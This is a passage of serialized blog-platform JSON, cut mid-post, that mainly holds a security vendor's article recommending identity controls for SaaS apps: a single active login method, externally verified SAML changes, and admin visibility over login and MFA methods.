,"marks":146346,"value":131775,"nodeType":865},{},[],{"data":146348,"content":146349,"nodeType":866},{},[146350,146353,146360],{"data":146351,"marks":146352,"value":131782,"nodeType":865},{},[],{"data":146354,"content":146355,"nodeType":889},{"uri":131785},[146356],{"data":146357,"marks":146358,"value":8641,"nodeType":865},{},[146359],{"type":943},{"data":146361,"marks":146362,"value":46245,"nodeType":865},{},[],{"data":146364,"content":146365,"nodeType":866},{},[146366],{"data":146367,"marks":146368,"value":131800,"nodeType":865},{},[],{"data":146370,"content":146371,"nodeType":866},{},[146372,146375,146382],{"data":146373,"marks":146374,"value":131807,"nodeType":865},{},[],{"data":146376,"content":146377,"nodeType":889},{"uri":131810},[146378],{"data":146379,"marks":146380,"value":131816,"nodeType":865},{},[146381],{"type":943},{"data":146383,"marks":146384,"value":131820,"nodeType":865},{},[],{"data":146386,"content":146387,"nodeType":866},{},[146388],{"data":146389,"marks":146390,"value":131827,"nodeType":865},{},[],{"data":146392,"content":146393,"nodeType":1317},{},[146394],{"data":146395,"marks":146396,"value":79801,"nodeType":865},{},[146397],{"type":926},{"data":146399,"content":146400,"nodeType":866},{},[146401,146404,146412,146416],{"data":146402,"marks":146403,"value":131841,"nodeType":865},{},[],{"data":146405,"content":146406,"nodeType":889},{"uri":131844},[146407],{"data":146408,"marks":146409,"value":131851,"nodeType":865},{},[146410,146411],{"type":943},{"type":926},{"data":146413,"marks":146414,"value":131856,"nodeType":865},{},[146415],{"type":926},{"data":146417,"marks":146418,"value":14251,"nodeType":865},{},[],{"data":146420,"content":146421,"nodeType":866},{},[146422],{"data":146423,"marks":146424,"value":131866,"nodeType":865},{},[],{"data":146426,"content":146427,"nodeType":866},{},[146428,146431,146438],{"data":146429,"marks":146430,"value":131873,"nodeType":865},{},[],{"data":146432,"content":146433,"nodeType":889},{"uri":131876},[146434],{"data":146435,"marks":146436,"value":4793,"nodeType":865},{},[146437],{"type":943},{"data":146439,"marks":146440,"value":131885,"nodeType":865},{},[],{"data":146442,"content":146443,"nodeType":866},{},[146444,146447,146455],{"data":146445,"marks":146446,"value":131892,"nodeType":865},{},[],{"data":146448,"content":146449,"nodeType":889},{"uri":131895},[146450],{"data":146451,"marks":146452,"value":131902,"nodeType":865},{},[146453,146454],{"type":943},{"type":926},{"data":146456,"marks":146457,"value":131906,"nodeType":865},{},[],{"data":146459,"content":146462,"nodeType":912},{"target":146460},{"sys":146461},{"id":131911,"type":909,"linkType":910},[],{"data":146464,"content":146465,"nodeType":866},{},[146466],{"data":146467,"marks":146468,"value":131919,"nodeType":865},{},[],{"data":146470,"content":146471,"nodeType":866},{},[146472,146475,146482],{"data":146473,"marks":146474,"value":131926,"nodeType":865},{},[],{"data":146476,"content":146477,"nodeType":889},{"uri":110363},[146478],{"data":146479,"marks":146480,"value":131934,"nodeType":865},{},[146481],{"type":943},{"data":146483,"marks":146484,"value":131938,"nodeType":865},{},[],{"data":146486,"content":146487,"nodeType":972},{},[],{"data":146489,"content":146490,"nodeType":981},{},[146491],{"data":146492,"marks":146493,"value":131948,"nodeType":865},{},[],{"data":146495,"content":146496,"nodeType":866},{},[146497,146500,146507],{"data":146498,"marks":146499,"value":131955,"nodeType":865},{},[],{"data":146501,"content":146502,"nodeType":889},{"uri":4147},[146503],{"data":146504,"marks":146505,"value":53721,"nodeType":865},{},[146506],{"type":943},{"data":146508,"marks":146509,"value":1615,"nodeType":865},{},[],{"data":146511,"content":146512,"nodeType":866},{},[146513,146516,146523],{"data":146514,"marks":146515,"value":131972,"nodeType":865},{},[],{"data":146517,"content":146518,"nodeType":889},{"uri":3488},[146519],{"data":146520,"marks":146521,"value":131980,"nodeType":865},{},[146522],{"type":943},{"data":146524,"marks":146525,"value":131984,"nodeType":865},{},[],{"data":146527,"content":146528,"nodeType":866},{},[146529],{"data":146530,"marks":146531,"value":131991,"nodeType":865},{},[],{"data":146533,"content":146534,"nodeType":1616},{},[146535,146544,146553,146562,146571],{"data":146536,"content":146537,"nodeType":1570},{},[146538],{"data":146539,"content":146540,"nodeType":866},{},[146541],{"data":146542,"marks":146543,"value":132004,"nodeType":865},{},[],{"data":146545,"content":146546,"nodeType":1570},{},[146547],{"data":146548,"content":146549,"nodeType":866},{},[146550],{"data":146551,"marks":146552,"value":132014,"nodeType":865},{},[],{"data":146554,"content":146555,"nodeType":1570},{},[146556],{"data":146557,"content":146558,"nodeType":866},{},[146559],{"data":146560,"marks":146561,"value":132024,"nodeType":865},{},[],{"data":146563,"content":146564,"nodeType":1570},{},[146565],{"data":146566,"content":146567,"nodeType":866},{},[146568],{"data":146569,"marks":146570,"value":132034,"nodeType":865},{},[],{"data":146572,"content":146573,"nodeType":1570},{},[146574],{"data":146575,"content":146576,"nodeType":866},{},[146577],{"data":146578,"marks":146579,"value":132044,"nodeType":865},{},[],{"data":146581,"content":146582,"nodeType":866},{},[146583],{"data":146584,"marks":146585,"value":132051,"nodeType":865},{},[],{"data":146587,"content":146588,"nodeType":972},{},[],{"data":146590,"content":146591,"nodeType":981},{},[146592],{"data":146593,"marks":146594,"value":132061,"nodeType":865},{},[],{"data":146596,"content":146597,"nodeType":1317},{},[146598],{"data":146599,"marks":146600,"value":131568,"nodeType":865},{},[146601],{"type":926},{"data":146603,"content":146604,"nodeType":866},{},[146605,146608,146615],{"data":146606,"marks":146607,"value":21,"nodeType":865},{},[],{"data":146609,"content":146610,"nodeType":889},{"uri":132077},[146611],{"data":146612,"marks":146613,"value":132083,"nodeType":865},{},[146614],{"type":943},{"data":146616,"marks":146617,"value":132087,"nodeType":865},{},[],{"data":146619,"content":146620,"nodeType":866},{},[146621,146624,146631],{"data":146622,"marks":146623,"value":132094,"nodeType":865},{},[],{"data":146625,"content":146626,"nodeType":889},{"uri":132097},[146627],{"data":146628,"marks":146629,"value":132103,"nodeType":865},{},[146630],{"type":943},{"data":146632,"marks":146633,"value":132107,"nodeType":865},{},[],{"data":146635,"content":146636,"nodeType":866},{},[146637],{"data":146638,"marks":146639,"value":132114,"nodeType":865},{},[],{"data":146641,"content":146642,"nodeType":1317},{},[146643],{"data":146644,"marks":146645,"value":79801,"nodeType":865},{},[146646],{"type":926},{"data":146648,"content":146649,"nodeType":866},{},[146650],{"data":146651,"marks":146652,"value":132128,"nodeType":865},{},[],{"data":146654,"content":146655,"nodeType":866},{},[146656,146659,146667],{"data":146657,"marks":146658,"value":62364,"nodeType":865},{},[],{"data":146660,"content":146661,"nodeType":889},{"uri":62386},[146662],{"data":146663,"marks":146664,"value":132143,"nodeType":865},{},[146665,146666],{"type":943},{"type":926},{"data":146668,"marks":146669,"value":132147,"nodeType":865},{},[],{"data":146671,"content":146672,"nodeType":866},{},[146673],{"data":146674,"marks":146675,"value":132154,"nodeType":865},{},[],{"data":146677,"content":146678,"nodeType":866},{},[146679],{"data":146680,"marks":146681,"value":132161,"nodeType":865},{},[],{"data":146683,"content":146686,"nodeType":912},{"target":146684},{"sys":146685},{"id":123928,"type":909,"linkType":910},[],{"data":146688,"content":146691,"nodeType":912},{"target":146689},{"sys":146690},{"id":132171,"type":909,"linkType":910},[],{"data":146693,"content":146694,"nodeType":972},{},[],{"data":146696,"content":146697,"nodeType":981},{},[146698],{"data":146699,"marks":146700,"value":132182,"nodeType":865},{},[],{"data":146702,"content":146703,"nodeType":1317},{},[146704],{"data":146705,"marks":146706,"value":131568,"nodeType":865},{},[146707],{"type":926},{"data":146709,"content":146710,"nodeType":866},{},[146711],{"data":146712,"marks":146713,"value":132196,"nodeType":865},{},[],{"data":146715,"content":146716,"nodeType":866},{},[146717,146720,146727],{"data":146718,"marks":146719,"value":132203,"nodeType":865},{},[],{"data":146721,"content":146722,"nodeType":889},{"uri":132206},[146723],{"data":146724,"marks":146725,"value":132212,"nodeType":865},{},[146726],{"type":943},{"data":146728,"marks":146729,"value":132216,"nodeType":865},{},[],{"data":146731,"content":146732,"nodeType":7584},{},[146733],{"data":146734,"content":146735,"nodeType":866},{},[146736],{"data":146737,"marks":146738,"value":132226,"nodeType":865},{},[],{"data":146740,"content":146741,"nodeType":866},{},[146742,146745,146752],{"data":146743,"marks":146744,"value":132233,"nodeType":865},{},[],{"data":146746,"content":146747,"nodeType":889},{"uri":132077},[146748],{"data":146749,"marks":146750,"value":132241,"nodeType":865},{},[146751],{"type":943},{"data":146753,"marks":146754,"value":132245,"nodeType":865},{},[],{"data":146756,"content":146757,"nodeType":866},{},[146758],{"data":146759,"marks":146760,"value":132252,"nodeType":865},{},[],{"data":146762,"content":146763,"nodeType":866},{},[146764],{"data":146765,"marks":146766,"value":132259,"nodeType":865},{},[],{"data":146768,"content":146769,"nodeType":7584},{},[146770],{"data":146771,"content":146772,"nodeType":866},{},[146773],{"data":146774,"marks":146775,"value":132269,"nodeType":865},{},[],{"data":146777,"content":146778,"nodeType":1317},{},[146779],{"data":146780,"marks":146781,"value":79801,"nodeType":865},{},[146782],{"type":926},{"data":146784,"content":146785,"nodeType":866},{},[146786],{"data":146787,"marks":146788,"value":132283,"nodeType":865},{},[],{"data":146790,"content":146791,"nodeType":866},{},[146792,146795,146803],{"data":146793,"marks":146794,"value":132290,"nodeType":865},{},[],{"data":146796,"content":146797,"nodeType":889},{"uri":13526},[146798],{"data":146799,"marks":146800,"value":132299,"nodeType":865},{},[146801,146802],{"type":943},{"type":926},{"data":146804,"marks":146805,"value":132303,"nodeType":865},{},[],{"data":146807,"content":146810,"nodeType":912},{"target":146808},{"sys":146809},{"id":132308,"type":909,"linkType":910},[],{"data":146812,"content":146813,"nodeType":972},{},[],{"data":146815,"content":146816,"nodeType":981},{},[146817],{"data":146818,"marks":146819,"value":132319,"nodeType":865},{},[],{"data":146821,"content":146822,"nodeType":866},{},[146823],{"data":146824,"marks":146825,"value":132326,"nodeType":865},{},[],{"data":146827,"content":146828,"nodeType":866},{},[146829],{"data":146830,"marks":146831,"value":132333,"nodeType":865},{},[],{"data":146833,"content":146834,"nodeType":1616},{},[146835,146851,146867],{"data":146836,"content":146837,"nodeType":1570},{},[146838],{"data":146839,"content":146840,"nodeType":866},{},[146841,146844,146848],{"data":146842,"marks":146843,"value":132346,"nodeType":865},{},[],{"data":146845,"marks":146846,"value":132351,"nodeType":865},{},[146847],{"type":926},{"data":146849,"marks":146850,"value":132355,"nodeType":865},{},[],{"data":146852,"content":146853,"nodeType":1570},{},[146854],{"data":146855,"content":146856,"nodeType":866},{},[146857,146860,146864],{"data":146858,"marks":146859,"value":132365,"nodeType":865},{},[],{"data":146861,"marks":146862,"value":132370,"nodeType":865},{},[146863],{"type":926},{"data":146865,"marks":146866,"value":132374,"nodeType":865},{},[],{"data":146868,"content":146869,"nodeType":1570},{},[146870],{"data":146871,"content":146872,"nodeType":866},{},[146873,146876,146880,146883,146890],{"data":146874,"marks":146875,"value":132384,"nodeType":865},{},[],{"data":146877,"marks":146878,"value":132389,"nodeType":865},{},[146879],{"type":926},{"data":146881,"marks":146882,"value":132393,"nodeType":865},{},[],{"data":146884,"content":146885,"nodeType":889},{"uri":6710},[146886],{"data":146887,"marks":146888,"value":6715,"nodeType":865},{},[146889],{"type":943},{"data":146891,"marks":146892,"value":132404,"nodeType":865},{},[],{"data":146894,"content":146895,"nodeType":866},{},[146896],{"data":146897,"marks":146898,"value":132411,"nodeType":865},{},[],{"data":146900,"content":146901,"nodeType":866},{},[146902],{"data":146903,"marks":146904,"value":132418,"nodeType":865},{},[],{"data":146906,"content":146907,"nodeType":866},{},[146908],{"data":146909,"marks":146910,"value":132425,"nodeType":865},{},[],{"data":146912,"content":146913,"nodeType":1317},{},[146914],{"data":146915,"marks":146916,"value":132433,"nodeType":865},{},[146917],{"type":926},{"data":146919,"content":146920,"nodeType":866},{},[146921,146924,146932],{"data":146922,"marks":146923,"value":132440,"nodeType":865},{},[],{"data":146925,"content":146926,"nodeType":889},{"uri":132443},[146927],{"data":146928,"marks":146929,"value":132450,"nodeType":865},{},[146930,146931],{"type":943},{"type":926},{"data":146933,"marks":146934,"value":132454,"nodeType":865},{},[],{"data":146936,"content":146937,"nodeType":866},{},[146938],{"data":146939,"marks":146940,"value":132461,"nodeType":865},{},[],{"data":146942,"content":146945,"nodeType":912},{"target":146943},{"sys":146944},{"id":132466,"type":909,"linkType":910},[],{"data":146947,"content":146948,"nodeType":1317},{},[146949,146953],{"data":146950,"marks":146951,"value":132475,"nodeType":865},{},[146952],{"type":926},{"data":146954,"marks":146955,"value":2688,"nodeType":865},{},[],{"data":146957,"content":146958,"nodeType":866},{},[146959,146962,146970],{"data":146960,"marks":146961,"value":132485,"nodeType":865},{},[],{"data":146963,"content":146964,"nodeType":889},{"uri":132488},[146965],{"data":146966,"marks":146967,"value":132495,"nodeType":865},{},[146968,146969],{"type":943},{"type":926},{"data":146971,"marks":146972,"value":132499,"nodeType":865},{},[],{"data":146974,"content":146975,"nodeType":866},{},[146976],{"data":146977,"marks":146978,"value":132506,"nodeType":865},{},[],{"data":146980,"content":146981,"nodeType":1317},{},[146982],{"data":146983,"marks":146984,"value":132514,"nodeType":865},{},[146985],{"type":926},{"data":146987,"content":146988,"nodeType":866},{},[146989,146992,147000],{"data":146990,"marks":146991,"value":132521,"nodeType":865},{},[],{"data":146993,"content":146994,"nodeType":889},{"uri":132524},[146995],{"data":146996,"marks":146997,"value":58363,"nodeType":865},{},[146998,146999],{"type":943},{"type":926},{"data":147001,"marks":147002,"value":132534,"nodeType":865},{},[],{"data":147004,"content":147005,"nodeType":866},{},[147006],{"data":147007,"marks":147008,"value":132541,"nodeType":865},{},[],{"data":147010,"content":147011,"nodeType":866},{},[147012],{"data":147013,"marks":147014,"value":132548,"nodeType":865},{},[],{"data":147016,"content":147019,"nodeType":912},{"target":147017},{"sys":147018},{"id":132553,"type":909,"linkType":910},[],{"data":147021,"content":147022,"nodeType":972},{},[],{"data":147024,"content":147025,"nodeType":981},{},[147026],{"data":147027,"marks":147028,"value":132564,"nodeType":865},{},[],{"data":147030,"content":147031,"nodeType":866},{},[147032,147035,147041],{"data":147033,"marks":147034,"value":132571,"nodeType":865},{},[],{"data":147036,"content":147037,"nodeType":889},{"uri":16069},[147038],{"data":147039,"marks":147040,"value":132578,"nodeType":865},{},[],{"data":147042,"marks":147043,"value":132582,"nodeType":865},{},[],{"items":147045},[147046,147048],{"sys":147047,"name":342},{"id":4642},{"sys":147049,"name":297},{"id":2310},{"items":147051},[147052],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":147053},{"url":6503},"blog/5-ways-attackers-can-use-computer-using-agents-to-automate-identity-attacks",{"json":147056},{"data":147057,"content":147058,"nodeType":1382},{},[147059],{"data":147060,"content":147061,"nodeType":866},{},[147062],{"data":147063,"marks":147064,"value":147065,"nodeType":865},{},[],"We recently blogged about the security implications of Computer-Using Agents (CUAs) like OpenAI Operator. We got pretty hooked on this new development and went off to do some closer research. Now, we’re back with part two to share what we found. Let’s dive in. ",{"id":141010,"publishedAt":147067},"2026-08-12T11:54:25.541Z",{"items":147069},[147070,147072],{"sys":147071,"name":7796},{"id":7795},{"sys":147073,"name":297},{"id":2310},{"items":147075},[147076,147078,147080,147082,147084,147086,147088,147090,147092,147094,147096,147098,147100],{"sys":147077,"name":279,"slug":280,"tier":31},{"id":276},{"sys":147079,"name":235,"slug":236,"tier":31},{"id":232},{"sys":147081,"name":413,"slug":414,"tier":31},{"id":410},{"sys":147083,"name":545,"slug":546,"tier":31},{"id":542},{"sys":147085,"name":642,"slug":643,"tier":31},{"id":639},{"sys":147087,"name":244,"slug":245,"tier":45},{"id":241},{"sys":147089,"name":333,"slug":334,"tier":45},{"id":330},{"sys":147091,"name":395,"slug":396,"tier":45},{"id":392},{"sys":147093,"name":404,"slug":405,"tier":45},{"id":401},{"sys":147095,"name":484,"slug":485,"tier":45},{"id":481},{"sys":147097,"name":607,"slug":608,"tier":45},{"id":604},{"sys":147099,"name":571,"slug":572,"tier":45},{"id":568},{"sys":147101,"name":502,"slug":503,"tier":45},{"id":499},"SzZF0hQl5WBLGWzyFpHl-7yLlPDRIzswNiBjGIJynv4",{"id":147104,"title":147105,"authorsCollection":147106,"content":147111,"extension":228,"faqItemsCollection":148157,"faqTitle":59,"featured":6,"hashTags":59,"meta":148159,"metaTitle":148160,"ogImage":148161,"postType":1424,"publishedDate":148163,"relatedBlogPostsCollection":148164,"slug":150359,"stem":150360,"subtitle":150361,"summary":150362,"synopsis":150373,"sys":150374,"tagsCollection":150377,"topicsCollection":150383,"__hash__":150415},"blog/blog/minimum-viable-identity-security.json","Minimum Viable Identity Security",{"items":147107},[147108],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":147109,"profilePicture":147110},[30152],{"url":7804},{"json":147112,"links":147989},{"data":147113,"content":147114,"nodeType":1382},{},[147115,147122,147129,147136,147141,147144,147152,147171,147178,147185,147192,147215,147223,147226,147234,147241,147248,147255,147262,147268,147275,147282,147315,147322,147330,147336,147343,147361,147380,147386,147392,147400,147418,147424,147431,147438,147471,147479,147486,147492,147499,147506,147535,147543,147563,147571,147591,147599,147606,147612,147619,147622,147630,147650,147705,147712,147719,147727,147734,147757,147764,147783,147789,147796,147802,147809,147872,147880,147900,147907,147930,147933,147940,147947,147953,147960,147977,147983],{"data":147116,"content":147117,"nodeType":866},{},[147118],{"data":147119,"marks":147120,"value":147121,"nodeType":865},{},[],"A lot happened last year in the world of identity security — particularly in terms of the attacks we’ve experienced targeting internet applications and services. With this trend certain to continue in 2025, it’s more important than ever that product vendors build products with a secure baseline of fundamental controls and safeguards.",{"data":147123,"content":147124,"nodeType":866},{},[147125],{"data":147126,"marks":147127,"value":147128,"nodeType":865},{},[],"The vast majority of the identity vulnerabilities we observe in the wild are the result of multiple auth mechanisms being attached to a single account. The more methods that are configured (or are configurable), the greater the risk that insecure identities will be created — and exploited by attackers. ",{"data":147130,"content":147131,"nodeType":866},{},[147132],{"data":147133,"marks":147134,"value":147135,"nodeType":865},{},[],"The good news is that with a coordinated response from app vendors, this surface can be significantly reduced. The bad news is that right now, we’re very far from a universal standard when it comes to how apps handle authentication and identities. ",{"data":147137,"content":147140,"nodeType":912},{"target":147138},{"sys":147139},{"id":61666,"type":909,"linkType":910},[],{"data":147142,"content":147143,"nodeType":972},{},[],{"data":147145,"content":147146,"nodeType":981},{},[147147],{"data":147148,"marks":147149,"value":147151,"nodeType":865},{},[147150],{"type":926},"Where to start?",{"data":147153,"content":147154,"nodeType":866},{},[147155,147158,147167],{"data":147156,"marks":147157,"value":1449,"nodeType":865},{},[],{"data":147159,"content":147161,"nodeType":889},{"uri":147160},"https://mvsp.dev/mvsp.en/",[147162],{"data":147163,"marks":147164,"value":147166,"nodeType":865},{},[147165],{"type":943},"Minimum Viable Secure Product (MVSP)",{"data":147168,"marks":147169,"value":147170,"nodeType":865},{},[]," initiative is a great resource for product and engineering teams that sets out essential controls that should be implemented in enterprise-ready products and services. MVSP does a fantastic job of getting to the heart of what’s important for vendor products, as compared to more general frameworks and standards like ISO and NIST that cover wider controls that should be implemented across the enterprise. ",{"data":147172,"content":147173,"nodeType":866},{},[147174],{"data":147175,"marks":147176,"value":147177,"nodeType":865},{},[],"We don’t want to reinvent the wheel, so we won’t be redoing the fundamentals already covered in MVSP. But MVSP inspired us to think – what are the vendor controls that would make a meaningful difference against the identity attacks we’re seeing in the wild? ",{"data":147179,"content":147180,"nodeType":866},{},[147181],{"data":147182,"marks":147183,"value":147184,"nodeType":865},{},[],"With better, consistent security standards, SaaS developers can close off a number of ATO techniques and generally make life much more difficult for attackers. ",{"data":147186,"content":147187,"nodeType":866},{},[147188],{"data":147189,"marks":147190,"value":147191,"nodeType":865},{},[],"We’ve identified two key areas of potential improvement which would make a material difference to ATO resilience:",{"data":147193,"content":147194,"nodeType":1616},{},[147195,147205],{"data":147196,"content":147197,"nodeType":1570},{},[147198],{"data":147199,"content":147200,"nodeType":866},{},[147201],{"data":147202,"marks":147203,"value":147204,"nodeType":865},{},[],"Many of the emerging TTPs could be seriously impaired (or prevented entirely) with improved authentication and identity management controls. ",{"data":147206,"content":147207,"nodeType":1570},{},[147208],{"data":147209,"content":147210,"nodeType":866},{},[147211],{"data":147212,"marks":147213,"value":147214,"nodeType":865},{},[],"Detecting attacks and responding to identity breaches on third-party apps is a nightmare due to the availability of log data (or lack thereof). ",{"data":147216,"content":147217,"nodeType":866},{},[147218],{"data":147219,"marks":147220,"value":147222,"nodeType":865},{},[147221],{"type":926},"Let’s look at the changes that app vendors can make to improve the situation. ",{"data":147224,"content":147225,"nodeType":972},{},[],{"data":147227,"content":147228,"nodeType":981},{},[147229],{"data":147230,"marks":147231,"value":147233,"nodeType":865},{},[147232],{"type":926},"Provide the visibility and control to manage and harden identities",{"data":147235,"content":147236,"nodeType":866},{},[147237],{"data":147238,"marks":147239,"value":147240,"nodeType":865},{},[],"In the context of SaaS, identity security controls are your best (and in many cases, your last) defense against cyber attacks. ",{"data":147242,"content":147243,"nodeType":866},{},[147244],{"data":147245,"marks":147246,"value":147247,"nodeType":865},{},[],"Pretty much every SaaS attack involves ATO through identity-based techniques, such as phishing, credential stuffing, or session hijacking using stolen cookies. In contrast, very few involve classic vulnerability exploitation (e.g. injection vulns, cross-site scripting, etc.). ",{"data":147249,"content":147250,"nodeType":866},{},[147251],{"data":147252,"marks":147253,"value":147254,"nodeType":865},{},[],"When all an attacker needs to do is log into an app and dump the data to succeed, there isn’t much in the way of post-ATO activity to detect and respond to (even if you had the logs you need, more on this later) — which is why robust authentication controls to prevent unauthorized access are so important. ",{"data":147256,"content":147257,"nodeType":866},{},[147258],{"data":147259,"marks":147260,"value":147261,"nodeType":865},{},[],"If post-ATO activity does occur, it is often to compromise additional accounts with in-app administrative privileges as opposed to pivoting to other environments. ",{"data":147263,"content":147267,"nodeType":912},{"target":147264},{"sys":147265},{"id":147266,"type":909,"linkType":910},"3l9SxYjTtls6URgbI0NiU3",[],{"data":147269,"content":147270,"nodeType":866},{},[147271],{"data":147272,"marks":147273,"value":147274,"nodeType":865},{},[],"As you’d expect, many apps prioritize a frictionless user experience over security. This is one of the main drivers of insecure authentication implementation. Consistent implementation of identity and authentication controls would go a long way to reducing the susceptibility of apps to the majority of identity attack techniques. ",{"data":147276,"content":147277,"nodeType":866},{},[147278],{"data":147279,"marks":147280,"value":147281,"nodeType":865},{},[],"In terms of authentication and identity management, MVSP focuses on:",{"data":147283,"content":147284,"nodeType":1616},{},[147285,147295,147305],{"data":147286,"content":147287,"nodeType":1570},{},[147288],{"data":147289,"content":147290,"nodeType":866},{},[147291],{"data":147292,"marks":147293,"value":147294,"nodeType":865},{},[],"Providing an SSO mechanism, ",{"data":147296,"content":147297,"nodeType":1570},{},[147298],{"data":147299,"content":147300,"nodeType":866},{},[147301],{"data":147302,"marks":147303,"value":147304,"nodeType":865},{},[],"Implementing a robust password policy, and ",{"data":147306,"content":147307,"nodeType":1570},{},[147308],{"data":147309,"content":147310,"nodeType":866},{},[147311],{"data":147312,"marks":147313,"value":147314,"nodeType":865},{},[],"Logically separating data/functions based on the needs of a user type/group. ",{"data":147316,"content":147317,"nodeType":866},{},[147318],{"data":147319,"marks":147320,"value":147321,"nodeType":865},{},[],"We can go beyond these basic auth controls to prevent identity attacks by providing better default security configurations, and giving admins more visibility and control over identities. ",{"data":147323,"content":147324,"nodeType":1317},{},[147325],{"data":147326,"marks":147327,"value":147329,"nodeType":865},{},[147328],{"type":926},"1. Allow one active login method (and require external re-verification to change to another).",{"data":147331,"content":147335,"nodeType":912},{"target":147332},{"sys":147333},{"id":147334,"type":909,"linkType":910},"65YwkaNS3LjB1vZsYQtXQH",[],{"data":147337,"content":147338,"nodeType":866},{},[147339],{"data":147340,"marks":147341,"value":147342,"nodeType":865},{},[],"There is very rarely a need for multiple authentication methods to be active for the same account at the same time. Perhaps you upgrade from a local password to OIDC or SAML — but there’s no need to have multiple SSO logins from different providers at once, and there’s no need to continue using a local password after adding an SSO method. One exception is Administrators retaining local password access to access the tenant in case SAML configuration breaks (commonly because certificates expire) but in all other cases it’s an anti-pattern to allow any user more than one auth method. ",{"data":147344,"content":147345,"nodeType":866},{},[147346,147350,147357],{"data":147347,"marks":147348,"value":147349,"nodeType":865},{},[],"We call these alternative login methods (especially when they are in addition to SAML — so e.g. local password or OIDC logins using Google or Microsoft) ",{"data":147351,"content":147352,"nodeType":889},{"uri":53259},[147353],{"data":147354,"marks":147355,"value":6715,"nodeType":865},{},[147356],{"type":943},{"data":147358,"marks":147359,"value":147360,"nodeType":865},{},[]," because they provide attackers with a way around a company’s chosen enterprise SSO option. ",{"data":147362,"content":147363,"nodeType":866},{},[147364,147368,147376],{"data":147365,"marks":147366,"value":147367,"nodeType":865},{},[],"This situation most commonly arises because apps automatically merge login methods. So for example, if a user normally logs in with a password, but then attempts to login using an OIDC of social login — many apps automatically merge that new login method with the existing account. This is particularly problematic when it’s done without further verification steps — leading to ",{"data":147369,"content":147370,"nodeType":889},{"uri":104059},[147371],{"data":147372,"marks":147373,"value":147375,"nodeType":865},{},[147374],{"type":943},"cross-IdP attacks",{"data":147377,"marks":147378,"value":147379,"nodeType":865},{},[],". Ideally, apps should disable the old log method when a new one is enabled, but at the very least, external verification of the change should be required (e.g. via email). ",{"data":147381,"content":147385,"nodeType":912},{"target":147382},{"sys":147383},{"id":147384,"type":909,"linkType":910},"4rcDwo3EmNtkjOLQmf1A7V",[],{"data":147387,"content":147391,"nodeType":912},{"target":147388},{"sys":147389},{"id":147390,"type":909,"linkType":910},"19iDG0ARpziXraEx2Ca7xp",[],{"data":147393,"content":147394,"nodeType":1317},{},[147395],{"data":147396,"marks":147397,"value":147399,"nodeType":865},{},[147398],{"type":926},"2. Require external verification of changes to IdP configuration settings.",{"data":147401,"content":147402,"nodeType":866},{},[147403,147407,147414],{"data":147404,"marks":147405,"value":147406,"nodeType":865},{},[],"Attackers that are able to compromise one account with the level of privilege required to change the SAML settings in-app (typically an app admin), even on an app that is otherwise uninteresting or low risk – can perform an attack technique known as ",{"data":147408,"content":147409,"nodeType":889},{"uri":105882},[147410],{"data":147411,"marks":147412,"value":105875,"nodeType":865},{},[147413],{"type":943},{"data":147415,"marks":147416,"value":147417,"nodeType":865},{},[],". This can be used to direct users to authenticate to the app via an attacker-controlled IdP tenant (so e.g. an attacker’s own Okta instance or phishing page that looks like Okta/MS/Google) to capture additional credentials and facilitate further compromise of accounts. ",{"data":147419,"content":147423,"nodeType":912},{"target":147420},{"sys":147421},{"id":147422,"type":909,"linkType":910},"4YfQDIY2hhE77h2xDr9Ja",[],{"data":147425,"content":147426,"nodeType":866},{},[147427],{"data":147428,"marks":147429,"value":147430,"nodeType":865},{},[],"To mitigate this, any SAML changes should require external verification, ideally through an out-of-band method like DNS Verification. If this can’t be achieved and you need to rely on email, the request should be sent to all app admins (to increase awareness of the risky change) and come with a cooldown period before the change takes effect. This improves the chance that an attacker’s SAMLjacking attack can be intercepted before half of the victim’s workforce gets keylogged — not after!",{"data":147432,"content":147433,"nodeType":866},{},[147434],{"data":147435,"marks":147436,"value":147437,"nodeType":865},{},[],"Other viable control options include:",{"data":147439,"content":147440,"nodeType":1616},{},[147441,147451,147461],{"data":147442,"content":147443,"nodeType":1570},{},[147444],{"data":147445,"content":147446,"nodeType":866},{},[147447],{"data":147448,"marks":147449,"value":147450,"nodeType":865},{},[],"Once SAML is configured, ensure it can't be edited without contacting the app developer",{"data":147452,"content":147453,"nodeType":1570},{},[147454],{"data":147455,"content":147456,"nodeType":866},{},[147457],{"data":147458,"marks":147459,"value":147460,"nodeType":865},{},[],"Service Provider initiated flows not enabled by default to stop attackers from hijacking logins using Home Realm Discovery for domains they don't own",{"data":147462,"content":147463,"nodeType":1570},{},[147464],{"data":147465,"content":147466,"nodeType":866},{},[147467],{"data":147468,"marks":147469,"value":147470,"nodeType":865},{},[],"Disallow new signups using password or OIDC logins when a domain is connected via SAML",{"data":147472,"content":147473,"nodeType":1317},{},[147474],{"data":147475,"marks":147476,"value":147478,"nodeType":865},{},[147477],{"type":926},"3. Provide admins with visibility of account authentication (login methods, MFA methods, IdPs used) and allow them to be restricted or removed. ",{"data":147480,"content":147481,"nodeType":866},{},[147482],{"data":147483,"marks":147484,"value":147485,"nodeType":865},{},[],"Many apps provide very limited information to admins about the configuration of identities within their tenant, and fewer still provide any mechanism for admins to take action if gaps or potential weak points are discovered. Some don’t even provide information about which accounts have access to the tenant at all. As a security team member this is maddening. ",{"data":147487,"content":147491,"nodeType":912},{"target":147488},{"sys":147489},{"id":147490,"type":909,"linkType":910},"5z3zNE7z9TWUJsYCmwew1S",[],{"data":147493,"content":147494,"nodeType":866},{},[147495],{"data":147496,"marks":147497,"value":147498,"nodeType":865},{},[],"It’s vital that, at the bare minimum, admins can access information (ideally in a dashboard) with the accounts, all login methods configured, MFA factors set, and the SSO methods used (specifying the IdP and protocol). All login methods should be visible to security admins, including secondary email addresses, social login connections, and so on. ",{"data":147500,"content":147501,"nodeType":866},{},[147502],{"data":147503,"marks":147504,"value":147505,"nodeType":865},{},[],"It should then also be possible to set a preferred method (e.g. only SAML from Microsoft, or OIDC from Google) and delete or disable ones that pose a risk. ",{"data":147507,"content":147508,"nodeType":866},{},[147509,147513,147520,147523,147531],{"data":147510,"marks":147511,"value":147512,"nodeType":865},{},[],"For security teams to be able to clean up insecure identities, they need to be able to make changes inside the app without requiring an action from the user. This means removing phishable MFA factors to prevent ",{"data":147514,"content":147515,"nodeType":889},{"uri":53203},[147516],{"data":147517,"marks":147518,"value":53208,"nodeType":865},{},[147519],{"type":943},{"data":147521,"marks":147522,"value":4988,"nodeType":865},{},[],{"data":147524,"content":147525,"nodeType":889},{"uri":103508},[147526],{"data":147527,"marks":147528,"value":147530,"nodeType":865},{},[147529],{"type":943},"MFA 